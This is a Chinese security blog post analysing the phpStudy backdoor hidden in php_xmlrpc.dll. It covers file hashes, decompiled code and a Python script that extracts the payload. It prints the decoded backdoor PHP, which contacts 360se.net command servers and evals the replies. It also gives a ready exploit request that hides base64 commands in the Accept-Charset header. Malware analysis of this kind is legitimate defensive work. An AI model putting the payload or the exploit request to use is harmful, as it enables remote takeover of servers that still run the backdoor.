问题概要

有问题的版本如下

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

注:这两个官网下载的版本里,都没有发现php5.3版本下存在有问题的php_xmlrpc.dll,打开时会提示存在pdb路径信息。

字符串搜索无发现

来源

环境准备

本次使用的是之前下载安装在本地的phpStudy20180211官网版本

官网下载地址

phpStudy 2018版本下载及更新日志 – phpStudy交流社区

https://www.xp.cn/wenda/406.html

从官网下载环境发现此时已修复,当然我几年前本地就已经下载好了2016版本,唉,发现早就是他人的肉鸡了。

这两个官网下载文件,已本地检查过对应的组件,已经修复了,但是hash却与页面给的不同,保留的下载页面如下:

本地算下hash后进行对比,发现2018版是不对的,但本地解压安装后,查对应的组件发现没有问题,很奇怪。

几年前下载的存在问题的2016版本hash如下,与上图官网提供的明显是不同的:

事件源头

这次事件最早由@黑鸟报告,链接如下:

http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451177600&idx=1&sn=55dc51c5cd6be6d65949fca5772a88f1&chksm=8c26f659bb517f4fc9fff43009d54f409b138fd838f905890938d97d7f71cd016153cb638f32&mpshare=1&scene=1&srcid=&sharer_sharetime=1569389574326&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

当晚,Chamd5安全团队深夜发布了文章,简要分析了后门的具体来源点。链接如下:

http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486008&idx=1&sn=995591a77579e4cb693f705361961efa&chksm=e89e22e0dfe9abf659db08fd76f1ce6905e8d76fd6ededd591a27c0e3e80f778eaa8edbe68b9&mpshare=1&scene=1&srcid=0925rOv2YGtsD6Gh6YsmYXPK&sharer_sharetime=1569389775787&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

这里简单分析了自己之前早就已经安装在本地的官网的php5.4.45版本下的php_xmlrpc.dll组件,本着动手实(复)践(现)学(工)习(程)的(师)想法,本文就记录一下分析过程。首先是从之前已经下载好的压缩包里选择20180211压缩包,自解压安装后在本地文件夹里选择php5.4.45,在ext文件夹扩展里找到php_xmlrpc.dll。此时先不急着分析,上传下VT查看下结果。

目前只有一家引擎对该组件进行了标记,第一次本地使用IDA打开的时候并没有任何关于pdb信息的提示,只有在官网发布的已编译成二进制文件的dll里,打开时才会提示存在pdb信息。

C:\php-sdk\php54dev\vc9\x86\obj\Release_TS\php_xmlrpc.pdb

这里给一下该组件的IOC信息如下:

MD5:c339482fd2b233fb0a555b629c0ea5d5

SHA-1:111abc2e79bf39357152b297213ee43f93ef9f81

SHA-256:8f2874e38e5e2d0a3368690badf75a6af8f848d8a976a357499a7c9050c70e04

查一下创建时间:2015:09:02 18:17:43+02:00,可发现后门作者对此时间戳进行了伪造,因为该后门是直接修改源代码后自行编译生成的dll,但把pdb给去掉了…….很奇怪,按理可以伪装一下。

使用010Editor 查看此PE文件,发现该文件的CRC校验值为0,很可疑。通过对比php官方发布的二进制文件可以发现是存在CheckSum值的。

按照其余文章的步骤,首先是要确定恶意代码的位置。IDA打开该dll后,通过查找字符串列表,接着筛选出eval字符(注:eval() 函数把字符串按照 PHP 代码来执行)就可找到实际后门代码位置。

接着按下x交叉引用,可找到具体代码点。

按F5生成伪代码,如图

spprintf函数是php官方自己封装的函数,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); //v42为缓冲区等于@eval(gzuncompress(‘,27h,’v42′,27h,’)); 实际是实现字符串拼接功能

通过找eval关键词可发现多处存在,第一处spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);第二处spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

恶意代码存在变量v41、v42里,在此处往上回溯该变量,发现对该变量进行了处理。

v11 = asc_1000D028;

while ( 1 )

{

if ( *(_DWORD *)v11 == 39 )

{

v8[v10] = 92;

v41[v10 + 1] = *v9;

v10 += 2;

v11 += 8;

}

else

{

v8[v10++] = *v9;

v11 += 4;

}

v9 += 4;

if ( (signed int)v9 >= (signed int)&unk_1000D66C )

break;

v8 = v41;

}

其中1000D028-1000D66C(偏移D028-D66C)这段地址的值很可疑,打开010Editor进行查看下。发现该段内容处于.data区域。

每个值占4个字节, 为dword类型。这里的逻辑是将该段数据处理成char类型后,使用php中的gzuncompress对其解压,接着使用eval执行该脚本内容。接着看第二处恶意代码,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 往上回溯,发现unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容是会被处理的,之后会赋给v42,所以这段内容也是需要注意的。

提取并解压这两段内容的脚本如下,该脚本来源于微步在线分析文章,很好用,不重复造轮子了。

http://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

# -*- coding:utf-8 -*-

# !/usr/bin/env python

import os, sys, string, shutil, re

import base64

import struct

import pefile

import ctypes

import zlib

# import put_family_c2

def hexdump(src, length=16):

FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

lines = []

for c in xrange(0, len(src), length):

chars = src[c:c + length]

hex = ' '.join(["%02x" % ord(x) for x in chars])

printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')

for x in chars])

lines.append("%04x %-*s %s\n" % (c, length * 3, hex, printable))

return ''.join(lines)

def descrypt(data):

try:

# data = base64.encodestring(data)

# print(hexdump(data))

num = 0

data = zlib.decompress(data)

# return result

return (True, result)

except Exception, e:

print(e)

return (False, "")

def GetSectionData(pe, Section):

try:

ep = Section.VirtualAddress

ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

# print(hexdump(data))

return data

except Exception, e:

return None

def GetSecsions(PE):

try:

for section in PE.sections:

# print(hexdump(section.Name))

if (section.Name.replace('\x00', '') == '.data'):

data = GetSectionData(PE, section)

# print(hexdump(data))

return (True, data)

return (False, "")

except Exception, e:

return (False, "")

def get_encodedata(filename):

pe = pefile.PE(filename)

(ret, data) = GetSecsions(pe)

if ret:

flag = "gzuncompress"

offset = data.find(flag)

data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

decodedata_1 = zlib.decompress(data[:0x191])

print(hexdump(data[0x191:]))

decodedata_2 = zlib.decompress(data[0x191:])

with open("decode_1.txt", "w") as hwrite:

hwrite.write(decodedata_1)

hwrite.close

with open("decode_2.txt", "w") as hwrite:

hwrite.write(decodedata_2)

hwrite.close

def main(path):

c2s = []

domains = []

file_list = os.listdir(path)

for f in file_list:

print f

file_path = os.path.join(path, f)

get_encodedata(file_path)

if __name__ == "__main__":

# os.getcwd()

path = "php5.4.45"

main(path)

运行后会生成两段解压后的数据,不过此时的数据已经base64编码过。

base64解码如下:

@ini_set("display_errors","0");

error_reporting(0);

$h = $_SERVER['HTTP_HOST'];

$p = $_SERVER['SERVER_PORT'];

$fp = fsockopen($h, $p, $errno, $errstr, 5);

if (!$fp) {

} else {

$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

$out .= "Host: {$h}\r\n";

$out .= "Accept-Encoding: compress,gzip\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

fclose($fp);

}

base解码如下:

@ini_set("display_errors","0");

error_reporting(0);

function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

$result = "";

$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

if( !$handle ){

$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

if( !$handle ){

return "err";

}

}

fwrite($handle, $sendMsg."\n");

while(!feof($handle)){

stream_set_timeout($handle, 2);

$result .= fread($handle, 1024);

$info = stream_get_meta_data($handle);

if ($info['timed_out']) {

break;

}

}

fclose($handle);

return $result;

}

$ds = array("www","bbs","cms","down","up","file","ftp");

$ps = array("20123","40125","8080","80","53");

$n = false;

do {

$n = false;

foreach ($ds as $d){

$b = false;

foreach ($ps as $p){

$result = tcpGet($i,$d.".360se.net",$p);

if ($result != "err"){

$b =true;

break;

}

}

if ($b)break;

}

$info = explode("",$result);

if (count($info)==4){

if (strpos($info[3],"/*Onemore*/") !== false){

$info[3] = str_replace("/*Onemore*/","",$info[3]);

$n=true;

}

@eval(base64_decode($info[3]));

}

}while($n);

恶意代码处于sub_100031F0函数中,在上面发现的两段内容的基础上往上分析,spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);该代码如果要被执行,首先if ( !v12 )的条件需要满足,接着看v12 = strcmp(**v34, aCompressGzip);说明有对该硬编码的字符串有比较。”compress,gzip”,再往上是一个else语句,查一下if语句里的内容。这里的判断逻辑是如果查找到相应的变量后,这里是判断是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头信息的内容。例如:“gzip”。如果存在就判断字段值是否是gzip,deflate,如果也存在就判断是否存在HTTP_ACCEPT_CHARSET字段 $_SERVER['HTTP_ACCEPT_CHARSET']  当前请求的 Accept-Charset: 头信息的内容。例如:“iso-8859-1,*,utf-8”。如果也存在的话就接着取HTTP_ACCEPT_CHARSET字段值,对该值进行base64解码,调用zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。以上是真的情况,如果上面的判断结果为假,则直接跳过,来到v12 = strcmp(**v34, aCompressGzip);对其判断,如果字符比较相等就继续执行下面的unk_1000D66C-unk_1000E5C4(偏移D66C-E5C4)这段内容调用spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);

注:zend_hash_find()函数是查找变量, https://www.kancloud.cn/fage/phpbook/336297  zend_eval_string会将v40变量的内容作为php脚本执行

如果上图中第一个if判断的结果为假,则直接跳转到下面执行。原理一致如上面一样,同样是对一段硬编码在.data的数据进行处理后,解压后base64解码,调用zend_eval_string执行php脚本。

鉴于C2服务器已经失活,看不懂效果,但有一个远程代码执行的功能可以演示,来源于zend_eval_string(v40, 0, &byte_10012884, a3);// 后门代码执行。

本地演示

首先是运行并启动存在问题的版本

exp如下,来源于文末参考文章:

GET / /1.1

Host: 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding:gzip,deflate

Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

system(“net user”);经base64编码后为c3lzdGVtKCJuZXQgdXNlciIpOw==,直接构造该请求,需要两个换行,不然会一直处于等待的状态,没有响应。依据逻辑还需要注意的是Accept-Encoding字段值必须为gzip,deflate,才能去判断是否存在Accept-Charset字段,接着取该字段的值,base64解码后执行,造成了远程代码执行,执行了system(“net user”);。

http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODg0MA==&mid=2650697352&idx=1&sn=cd3e5bf51082a6815bda10e4d4c7683f&chksm=beb1e94f89c660596572b8dd0f91d6926040eaca946a02a2b7eefa393fffc9365f4afac2f315&mpshare=1&scene=1&srcid=&sharer_sharetime=1569071754991&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451177600&idx=1&sn=55dc51c5cd6be6d65949fca5772a88f1&chksm=8c26f659bb517f4fc9fff43009d54f409b138fd838f905890938d97d7f71cd016153cb638f32&mpshare=1&scene=1&srcid=&sharer_sharetime=1569389574326&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486008&idx=1&sn=995591a77579e4cb693f705361961efa&chksm=e89e22e0dfe9abf659db08fd76f1ce6905e8d76fd6ededd591a27c0e3e80f778eaa8edbe68b9&mpshare=1&scene=1&srcid=0925rOv2YGtsD6Gh6YsmYXPK&sharer_sharetime=1569389775787&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

http://mp.weixin.qq.com/s?__biz=MzU4OTExNTk0OA==&mid=2247483837&idx=1&sn=2a645ea812f574c8bbafa7aed43450b2&chksm=fdd326fecaa4afe82478acc2f7f75a909e04dffc88d596473c86699941dbd60bd09d6f0d9c76&mpshare=1&scene=1&srcid=&sharer_sharetime=1569463412259&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/6961.html

php7.2 webshell,phpStudy后门分析相关推荐

  1. PhpStudy 后门分析

    作者:Hcamael@知道创宇404实验室 时间:2019年9月26日 原文链接:https://paper.seebug.org/1044/ 背景介绍 2019/09/20,一则杭州警方通报打击涉网 ...

  2. 阿里云盾提醒网站被WebShell木马后门分析与对策

    收到阿里云用户朋友的反馈,说运行了一年的网站突然遭到黑客的攻击,系统cpu一直保持在100%,有进程也干不掉,然后客户就进行杀毒了,然后就把所有的exe文件都杀了,然后系统也就很多功能不正常了,数据库 ...

  3. 使用 Ghidra 分析 phpStudy 后门

    作者:lu4nx@知道创宇404积极防御实验室 作者博客:<使用 Ghidra 分析 phpStudy 后门> 原文链接:https://paper.seebug.org/1058/ 这次 ...

  4. phpstudy后门代码利用及分析

    几天前火绒说我的PHPstudy有马,我以为是误报没有在意,但接着我就在知乎上看到了PHPstudy真可能有后门,于是赶紧看了一下,还真有,是我之前下的2016版的,而我在官网下的2019的phpst ...

  5. plusmytag_js.php,dedecms之webshell后门分析

    dedecms之webshell后门分析 单位某站用的dedecms,今天被某黑阔getshell了,无奈只能打包代码进行分析,用各种webshell扫描器只扫到一个data/tplcache/xxx ...

  6. java大马后门_PHP大马后门分析

    PHP大马后门分析 PHP大马 PHP大马,用php写的木马文件,一般自带提权,操作数据库,反弹shell,文件下载,端口扫描等功能.网上很多地方都能下载到这些木马,但是大部门大马都会自带有后门,也就 ...

  7. PHPStudy后门事件分析

    PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门.经过分析除了有反向连接木马之外,还可以正向执行任意php代码. 影响版本 P ...

  8. phpstudy后门(转自feng)

    几天前火绒说我的PHPstudy有马,我以为是误报没有在意,但接着我就在知乎上看到了PHPstudy真可能有后门,于是赶紧看了一下,还真有,是我之前下的2016版的,而我在官网下的2019的phpst ...

  9. python phpstudy_GitHub - Writeup007/phpStudyBackDoor: phpStudy后门检测与利用工具,Python脚本,可一键 GetShell。...

    phpStudyBackDoor phpStudy后门检测与利用工具,Python脚本,可一键 GetShell. 简述 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发 ...

最新文章

  1. dd指令打包iso文件 linux_从零开始学Linux运维|33.文件的打包压缩和解压
  2. 剑灵总显示服务器断开连接,求解一分钟“与服务器断开连接”问题
  3. pb 里面有个report object_【园所新闻】我们与秋天有个“约会” ——记区一实幼尧佳园亲子秋游活动...
  4. C 语言编程 — uint8_t / uint16_t / uint32_t /uint64_t
  5. 使用SharePoint 2007 Web Service上传文件到文档库
  6. android 测试工程 关闭混淆,混淆Android Test项目以及项目(在发布和混淆版本上运行测试)...
  7. autowired注入为 mapper为null_兰新高铁为区域经济发展注入活力
  8. 深度学习之 soft-NMS
  9. 万应低代码CTO胡艳平:浅谈低代码在中大型企业数字化转型中的应用
  10. MyQQ project
  11. 中国微电网市场趋势报告、技术动态创新及市场预测
  12. 25日—你看蓝蓝的天
  13. 科学计算机百分比怎么按成小数,手机计算器百分比怎么用
  14. 2021年幼儿园教师招聘:小班梳子画《小草》
  15. 【ELT.ZIP】OpenHarmony啃论文俱乐部——浅析稀疏表示医学图像
  16. 11个免费的Web安全测试工具
  17. latex如何使文字不空格_latex 段开头不空格
  18. mysql cmd全屏,不能全屏这个问题 ,看完了下面所有解决方法 一个一个试了怎么我是不能全屏呢...
  19. Emojify – Create your own emoji with Deep Learning 通过深度学习创建你自己的表情
  20. 驱动程序(9) 利用Windriver修改代码实现DMA传输定制功能的驱动程序

热门文章

  1. 如何成为云原生技术高阶玩家?华为云最近做了这件事
  2. outlook邮件撤回操作
  3. 村上春树(作品)年谱
  4. Yocto ffmpeg 编译
  5. 字符串 匹配首尾字符串 java_java Matcher匹配头尾截取替换字符串的案例
  6. [矩阵论] Unit 6. 矩阵的 Kronecker 积与 Hadamard 积 - 知识点整理
  7. (30)C#使用NUNIT单元测试
  8. LeetCode-SQL(八)
  9. 用java实现四色定理
  10. win10 下 caffe 的第一个测试程序(附带详细讲解)